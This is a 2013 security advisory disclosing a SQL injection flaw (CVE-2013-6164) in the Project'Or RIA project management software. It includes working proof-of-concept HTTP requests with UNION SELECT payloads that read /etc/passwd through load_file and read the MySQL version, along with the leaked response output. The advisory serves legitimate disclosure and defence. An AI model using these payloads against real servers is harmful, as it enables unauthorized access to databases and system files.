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============================================= INTERNET SECURITY AUDITORS ALERT 2013-017 - Original release date: July 26th, 2013 - Last revised:July 26th, 2013 - Discovered by: Vicente Aguilera Diaz - Severity: 6.8/10 (CVSSv2 Base Scored) - CVE-ID: CVE-2013-6164 ============================================= I. VULNERABILITY ------------------------- SQL Injection vulnerability in "Project'Or RIA" allow arbitrary access to the database and the file system. II. BACKGROUND ------------------------- Project'Or RIA is an open source Project Management Software, trying to gather in a single tool every functionality needed to organize your projects. The objective is to keep it simple, easy to use on a day to day activity, while covering most of the project management functionalities. III. DESCRIPTION ------------------------- Has been detected a SQL Injection vulnerability in the "Affectations" functionality of this application. The affected resource and parameter are the following: Resource: /view/objectDetail.php Parameter: objectId This vulnerability allows the execution of arbitrary SQL code against the database, and arbitrary access to the file system. IV. PROOF OF CONCEPT ------------------------- When a user access to the "Environmental parameters / Affectations" functionality, is generated a output with a list of resources. If a user access to the de tails of a resource, is generated a request as follows: POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1 Host: <projectorria-server> objectClass=Affectation&objectId=000042&listIdFilter=&listFilterClause= where the "objectId" value contains the resource identifier. A malicious user can inject arbitrary SQL code in the <objecId> parameters of this request. For example: 1. Accessing the file system 1.1 /etc/passwd Modified parameter: <objectId> Value: 99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual) Request: POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1 Host: <projectorria-server> objectClass=Affectation&objectId=99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual) &listIdFilter=&listFilterClause= Response: HTTP/1.1 200 OK ... <span dojoType="dijit.form.TextBox" type="text" id="id" name="id" class="display"readonly tabindex="-1" style="width: 75px;" value="root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false whoopsie:x:102:104::/nonexistent:/bin/false landscape:x:103:105::/var/lib/landscape:/bin/false messagebus:x:104:108::/var/run/dbus:/bin/false ntpd:x:105:111::/var/run/openntpd:/bin/false postfix:x:106:113::/var/spool/postfix:/bin/false babynus:x:1000:1000::/home/babynus:/bin/bash bind:x:107:115::/var/cache/bind:/bin/false sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false nagios:x:111:118::/var/lib/nagios:/bin/false smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash " ></span> ... Obtained info (/etc/passw): root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh syslog:x:101:103::/home/syslog:/bin/false whoopsie:x:102:104::/nonexistent:/bin/false landscape:x:103:105::/var/lib/landscape:/bin/false messagebus:x:104:108::/var/run/dbus:/bin/false ntpd:x:105:111::/var/run/openntpd:/bin/false postfix:x:106:113::/var/spool/postfix:/bin/false babynus:x:1000:1000::/home/babynus:/bin/bash bind:x:107:115::/var/cache/bind:/bin/false sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false nagios:x:111:118::/var/lib/nagios:/bin/false smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash 2. Obtaining database private information 2.1 Obtaining TABLE_NAME from INFORMATION_sCHEMA.TABLES Modified parameter: <objectId> Value: 99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual) Request: POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1 Host: <projectorria-server> objectClass=Affectation&objectId=99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual) &listIdFilter=&listFilterClause= Response: HTTP/1.1 200 OK <span dojoType="dijit.form.TextBox" type="text" id="id" name="id" class="display"readonly tabindex="-1" style="width: 75px;"value="5.5.24- 0ubuntu0.12.04.1" > Obtained info (MySQL Version): 5.5.24-0ubuntu0.12.04.1 V. BUSINESS IMPACT ------------------------- An attacker can execute arbitrary SQL code and gain access to private information stored in the database or the file system. VI. SYSTEMS AFFECTED ------------------------- Tested in Project'Or RIA v3.4.0 VII. SOLUTION ------------------------- Pending. VIII. REFERENCES ------------------------- http://projectorria.org http://www.isecauditors.com IX. CREDITS ------------------------- This vulnerability has been discovered by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com). X. REVISION HISTORY ------------------------- July26, 2013: Initial release XI. DISCLOSURE TIMELINE ------------------------- July25, 2013: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com). September 26, 2013: Sent to project support. November03, 2013: New release and disclosure. XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information. XIII. ABOUT ------------------------- Internet Security Auditors is a Spain based leader in web application testing, network security, penetration testing, security compliance implementation and assessing. Our clients include some of the largest companies in areas such as finance, telecommunications, insurance, ITC, etc. We are vendor independent provider with a deep expertise since 2001. Our efforts in R&D include vulnerability research, open security project collaboration and whitepapers, presentations and security events participation and promotion. For further information regarding our security services, contact us. XIV. FOLLOW US ------------------------- You can follow Internet Security Auditors, news and security advisories at: https://www.facebook.com/ISecAuditors https://twitter.com/ISecAuditors http://www.linkedin.com/company/internet-security-auditors http://www.youtube.com/user/ISecAuditors |
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